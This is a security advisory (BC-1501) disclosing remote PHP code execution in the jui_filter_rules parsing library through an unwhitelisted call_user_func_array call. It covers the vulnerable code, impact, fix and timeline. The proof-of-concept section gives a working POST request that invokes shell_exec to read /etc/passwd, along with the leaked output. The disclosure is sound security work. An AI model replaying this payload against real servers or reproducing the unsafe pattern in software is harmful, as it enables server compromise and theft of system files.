PHP Code Execution in jui_filter_rules Parsing Library
======================================================
Researcher: Timo Schmid <tschmid@ernw.de>


Description
===========
jui_filter_rules[1] is a jQuery plugin which allows users to generate a ruleset
which could be used to filter datasets inside a web application.

The plugin also provides a PHP library to turn the user submitted ruleset into
SQL where statements for server side filtering.
This PHP library contains a feature which allows to convert the submitted filter
values with server side functions. These functions can be specified within the
ruleset, which leads to an arbitrary PHP code execution.


Exploitation Technique
======================
Remote


Severity Level
==============
Critical


CVSS Base Score
===============
6.8 (AV:N / AC:M / Au:N / C:P / I:P / A:P)


CVE-ID
======
<unassigned>


Impact
======
By using the provided rule parsing library to generate SQL statements, an
attacker is capable of executing arbitrary PHP code in the context of the
web server. This could lead to a full compromise of the web server. The
attack vector could be limited by existing validation mechanisms around the
library, but this would require a partial manual parsing of the user supplied
rules.


Status
======
Reported


Vulnerable Code Section
=======================
server_side/php/jui_filter_rules.php:
[...]
private function create_filter_value_sql($filter_type, $operator_type, ...
[...]
	if(is_array($filter_value_conversion_server_side)) {
		$function_name = $filter_value_conversion_server_side['function_name'];
		$args = $filter_value_conversion_server_side['args'];
		$arg_len = count($args);
		for($i = 0; $i < $vlen; $i++) {
			// create arguments values for this filter value
			$conversion_args = array();
			for($a = 0; $a < $arg_len; $a++) {
				if(array_key_exists('filter_value', $args[$a])) {
					array_push($conversion_args, $a_values[$i]);
				}
				if(array_key_exists('value', $args[$a])) {
					array_push($conversion_args, $args[$a]['value']);
				}
			}
			// execute user function and assign return value to filter value
			try {
				$a_values[$i] = call_user_func_array($function_name, $conversion_args);
			} catch(Exception $e) {
				$this->last_error = array(
					'element_rule_id' => $element_rule_id,
					'error_message' => $e->getMessage()
				);
				break;
			}
		}
	}
[...]

The provided PHP parsing library allows to specify a PHP function to convert
the supplied filter value on the server side. This leads ultimatively to code
execution through attacker supplied input. As no whitelist approach is used,
any existing PHP function could be executed (including shell commands).


Proof of Concept
================
Using the demo application from the git repository:

Executing shell_exec('cat /etc/passwd')

Request:
POST /ajax_create_sql.dist.php HTTP/1.0
host: http://www.example.com
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Content-Length: 471

a_rules%5B0%5D%5Bfilter_value_conversion_server_side%5D%5Bfunction_name%5D=she
ll_exec&a_rules%5B0%5D%5Bcondition%5D%5BfilterValue%5D=&a_rules%5B0%5D%5Bfilte
r_value_conversion_server_side%5D%5Bargs%5D%5B0%5D%5Bvalue%5D=cat+%2Fetc%2Fpas
swd&pst_placeholder=question_mark&a_rules%5B0%5D%5Belement_rule_id%5D=foo&use_
ps=yes&a_rules%5B0%5D%5Bcondition%5D%5Bfield%5D=some_field&a_rules%5B0%5D%5Bco
ndition%5D%5Boperator%5D=equal&a_rules%5B0%5D%5Bcondition%5D%5BfilterType%5D=d
ate

Response:
HTTP/1.1 200 OK
Date: Tue, 13 Jan 2015 02:12:33 GMT
Server: Apache/2.2.22 (Debian)
Content-Length: 530
Content-Type: text/html

{"sql":"WHERE \nsome_field = ?","bind_params":"root:x:0:0:admin COSMOS:/root:/
bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/bin/sh\nbin:x:2:2:bin:/bin:/bin/sh\ns
ys:x:3:3:sys:/dev:/bin/sh\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:ga
mes:/usr/games:/bin/sh\nman:x:6:12:man:/var/cache/man:/bin/sh\nlp:x:7:7:lp:/va
r/spool/lpd:/bin/sh\nmail:x:8:8:mail:/var/mail:/bin/sh\nnews:x:9:9:news:/var/s
pool/news:/bin/sh\nuucp:x:10:10:uucp:/var/spool/uucp:/bin/sh\nproxy:x:13:13:pr
oxy:/bin:/bin/sh\nwww-data:x:33:33:www-data:/var/www:/bin/sh"}



Solution
========
This functionality should generally be removed or replaced by a mapping/
whitelist approach and strict type filtering to prevent arbitrary code
execution.


Affected Versions
=================
>= git commit b1e795eeba1bac2f9b0d383cd3da24d6d26ccb4b
< 1.0.6 (commit 0b61463cd02cc1814046b516242779b29ba7d1e1)


Timeline
========
2015-01-12: Vulnerability found
2015-01-13: Developer informed
2015-02-14: Fixed in version 1.0.6 (git 0b61463cd02cc1814046b516242779b29ba7d1e1)


References
==========
[1] http://www.pontikis.net/labs/jui_filter_rules
[2] https://www.owasp.org/index.php/Code_Injection
[3] https://www.ernw.de/download/BC-1501.txt
[4] https://bufferoverflow.eu/BC-1501.txt


Advisory-ID
===========
BC-1501


Disclaimer
==========
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